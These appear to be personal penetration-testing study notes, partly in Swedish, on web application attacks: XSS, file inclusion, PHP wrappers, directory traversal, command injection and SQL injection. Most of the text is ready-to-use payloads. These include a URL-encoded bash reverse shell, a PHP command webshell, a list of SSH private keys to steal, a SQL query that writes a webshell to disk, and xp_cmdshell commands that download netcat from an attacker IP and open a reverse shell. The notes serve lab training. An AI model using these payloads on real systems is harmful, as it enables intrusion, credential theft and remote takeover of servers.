5. Web Application Attacks
Cross-site-scripting (XSS)
Stored XSS Attacks:
- Also known as persistent XSS attacks
- Occurs when payload is stored in database or cached by server
- Works by retrieving and displaying to those who visits the vulnerable page
- i.e. can therefore affect all site users
- Often exists in forum software, eg. comment sections, reviews and other
Reflected XSS Attacks:
- Includes payload in crafted request or link
- Places that into page content
- Only affects person submitting the specific request or visiting link
- Often occurs through search fields, user inputs, error messages
DOM-based XSS
- Can be both stored or reflected
- Soley takes place inside page's Document Object Model (DOM)
- Occurs when browser parses page content and creates a DOM tree compromised of all forms, inputs, images etc. related to the page
- Javacript then accesses and modifies the DOM creating a interactive experience in the browser
- With access to the DOM one can redirect forms, extract passwords and steal cookies etc.
XSS special characters:
< > ' " { } ;
XSS alert:
<script>alert(‘XSS’)</script>
Payloads:
"><img/src=x onerror=alert()>test
"><img/src=x onerror=confirm()>test
"><img/src=x onerror=prompt()>test
Exempel på privesc genom wordpress-plugin:
- Compressa javascript kod till ett block som kan slängas in för XSS med https://jscompress.com
- Konvertera sedan till UT16 karaktärer och skicka till burp med proxy genom curl med eval inuti skriptblock
- Sätt på burp intruder och fånga attacken och inspektera innan skickar attack
Exempel:
Local File Inclusion (LFI)
- Nyttjar lokala resurser, alternativt genererade (poisonade) loggar till att exekvera arbiträr kod
- Exempel: tryck in php-kod i user-agent som loggas i access.log:
- Exekvera sedan genom traversal directory och ?cmd=XXX
URL-enkodat reverse-shell (byt ut ip och port):
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
OBS:
- Om webshell inte funkar, testa olika php-funktioner:
- system()
- passthru()
- exec()
Remote File Inclusion (RFI)
-
Ovanligare än LFI
-
GET request hämtar malicious fil från python server lokalt genom en parameter i urlen
-
-
Funkar bara om allow_url_fopen och allow_url_include är på i phpinfo()
-
Kan använda loggfiler om inte kommer åt annat genom att generera logg och exekvera den
Innan kör webbshell kör phpinfo(); för att se versionering och disablade funktioner:
Köra kod på lokal maskin genom system i php:
Tillåt kommandon genom URLen:
<?php echo system($_GET['cmd']); ?>
Bra shells:
https://github.com/swisskyrepo/PayloadsAllTheThings
PHP Wrappers
-
Används för att kontrollera hur förfrågningar ska hanteras.
-
Om ser att sida inte skriver ut innehållet av php fil utan exekverar server-side utan avslutad kod bra att testa
-
Ex:
-
php://filter/resource=
- Används för att läsa innehållet i en php-fil utan att lämna den ute eftersom den annars exekveras server-side
- Kan base64encodea outputen med php://filter/convert.base64-encode/resource=
- Exempel:
http://mountaindeserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
- Om 'allow_url_include' är påslaget kan php inkluderas och exekveras genom en parameter i URLen:
- data://text/plain,kod
- Exempel:
http://mountaindeserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>
- För att komma runt filter kan koden maskeras med base64 så här:
Var noga med absoluta paths från botten. Verkar inte funka med endast backup.php utan behöver vara /var/www/html/backup.php
Directory Traversal
- Nyttja /../ för att försöka accessa filer genom urlen
- URL-encoda för att ta sig runt saniteringsfilter
Exempel:
%2e = .
--path-as-is med curl för att behålla alla '../'
--data-urlencode med curl för att url-encoda parametrar
Kolla version!!
SSH nycklar att stjäla i /home/user/.ssh/:
id_rsa
id_dsa
id_ecdsa
id_ecdsa_sk
id_ed25519
id_ed25519_sk
File Upload
Inget nytt egentligen.
En sak är att om man inte kan lyckas exekvera en uppladdad fil kan man eventuellt lyckas skriva över en fil som exekveras, eller en nyckel genom directory traversal, och komma in den vägen.
Viktigt!
- Glöm inte kolla om servern bygger på php eller typ asp.net (aspx)
- Isf måste olika webshells användas, annars funkar inte!
OS Command Injection
Injektioner på ställen där user input inte saniteras väl.
One-liner för att enumerera om servern kör windows eller linux:
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
Vanliga separators:
&
&&
|
||
;
#
0x0a
\n
`command`
$(command)
command`
Viktigt!
- Kan behöva komma ett " innan separators, alternativt att hela injektionen i parametern är inom ""
- Glöm inte bash -c "revshell" för att koden faktiskt ska exekveras
SQL Injection
Basic query:
SELECT * FROM users WHERE user='admin'
Common Injection:
SELECT * FROM users WHERE user='admin' OR 1=1 -- //
Database variants:
- MySQL:
mysql -u root -p'root' -h 192.168.195.16 -P 3306
---
show databases;
- MSSQL:
impacket-mssqlclient Administrator:Lab123@192.168.195.18 -windows-auth
---
SELECT name FROM sys.databases;
Error-based payloads:
- Läcka känslig informaiton och data genom felmeddelanden
- Ex. bypassa inloggningssida
Union-based payloads:
- Använder UNION för att kombinera/manipulera redan befintliga querys med malicious
- Den injecerade queryn måste inkludera lika många kolumner som originalqueryn
- Datatypen måste också vara kompatibel mellan dem
Metod:
- Enumerera antalet kolumner genom:
' ORDER BY 1-- //
- Öka med ett tills att något inte funkar/kolumnen inte finns. Typ så här:
- Spotta ut datan du vill ha i den injecerade queryn genom SELECT och skriv null om du inte behöver alla kolumner. Exempel:
%' UNION SELECT database(), user(), @@version, null, null -- //
Viktigt:
- Kör in % innan SQL-injektionen för att skicka ett wildcard till servern så den får någon form av input, kan behövas
Blind SQL injections:
- Till skillnad från error-based saknas output vilket kan verifiera om injektionen fungerar.
- Boolean-based:
- Använder AND 1=1 för att konfirmera och enumerera annan data i databasen. Om får ut resultat kommer alltså queryn stämma. Exempel:
http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
- Time-based:
- Använder sleep-funktionen i SQL för att konfirmera på samma sätt. Exempel:
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
# Förklaring: första item i if-funktionen är operationen, sen kommer om true och om false. Alltså om användare är offsec och 1=1 då sleep -- annars ej.
SQL Code Execution:
Manual Code Execution in MSSQL:
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
Manual Union Code Execution in MySQL:
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
Automatic Code Execution with SQLmap:
sqlmap -r burp_dump.txt -p item --dump --os-shell --web-root "/var/www/html/tmp"
EXEC xp_cmdshell "powershell.exe wget [http://192.168.45.231/nc.exe](http://192.168.45.231/nc.exe "http://192.168.45.231/nc.exe") -OutFile c:\Users\Public\nc.exe" EXEC xp_cmdshell "c:\Users\Public\nc.exe -e cmd.exe 192.168.45.231 4444"
'; EXECUTE xp_cmdshell 'powershell wget 192.168.45.198:80/nc.exe -OutFile C:\Users\Public\nc.exe'; --
'; EXECUTE xp_cmdshell 'C:\Users\Public\nc.exe -e cmd.exe 192.168.45.198 4444' -- //